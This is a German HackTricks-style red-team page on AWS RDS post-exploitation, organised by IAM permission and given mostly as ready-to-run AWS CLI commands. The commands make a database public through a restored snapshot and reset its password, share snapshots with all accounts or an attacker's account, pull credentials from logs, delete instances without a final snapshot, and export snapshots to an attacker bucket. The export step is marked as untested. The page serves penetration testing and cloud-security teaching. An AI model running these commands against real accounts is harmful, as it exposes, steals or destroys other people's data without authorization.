AWS - RDS Post Exploitation
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
RDS
Für weitere Informationen siehe:
AWS - Relational Database (RDS) Enum
rds:CreateDBSnapshot
, rds:RestoreDBInstanceFromDBSnapshot
, rds:ModifyDBInstance
Wenn der Angreifer genügend Berechtigungen hat, könnte er eine DB öffentlich zugänglich machen, indem er einen Snapshot der DB erstellt und dann eine öffentlich zugängliche DB aus dem Snapshot erstellt.
aws rds describe-db-instances # Get DB identifier
aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat
# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>
aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# Connect to the new DB after a few mins
rds:ModifyDBSnapshotAttribute
, rds:CreateDBSnapshot
Ein Angreifer mit diesen Berechtigungen könnte ein Snapshot einer DB erstellen und ihn öffentlich verfügbar machen. Dann könnte er einfach in seinem eigenen Konto eine DB aus diesem Snapshot erstellen.
Wenn der Angreifer nicht die rds:CreateDBSnapshot
hat, könnte er dennoch andere erstellte Snapshots öffentlich machen.
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
rds:DownloadDBLogFilePortion
Ein Angreifer mit der Berechtigung rds:DownloadDBLogFilePortion
kann Teile der Protokolldateien einer RDS-Instanz herunterladen. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert werden, könnte der Angreifer diese Informationen potenziell nutzen, um seine Berechtigungen zu eskalieren oder unbefugte Aktionen durchzuführen.
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
Potenzielle Auswirkungen: Zugriff auf sensible Informationen oder unbefugte Aktionen mit Hilfe von geleakten Anmeldeinformationen.
rds:DeleteDBInstance
Ein Angreifer mit diesen Berechtigungen kann bestehende RDS-Instanzen DoS.
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
Potenzielle Auswirkungen: Löschung vorhandener RDS-Instanzen und potenzieller Datenverlust.
rds:StartExportTask
hinweis
TODO: Test
Ein Angreifer mit dieser Berechtigung kann ein RDS-Instanz-Snapshot in einen S3-Bucket exportieren. Wenn der Angreifer die Kontrolle über den Ziel-S3-Bucket hat, kann er potenziell auf sensible Daten im exportierten Snapshot zugreifen.
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
Potenzielle Auswirkungen: Zugriff auf sensible Daten im exportierten Snapshot.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.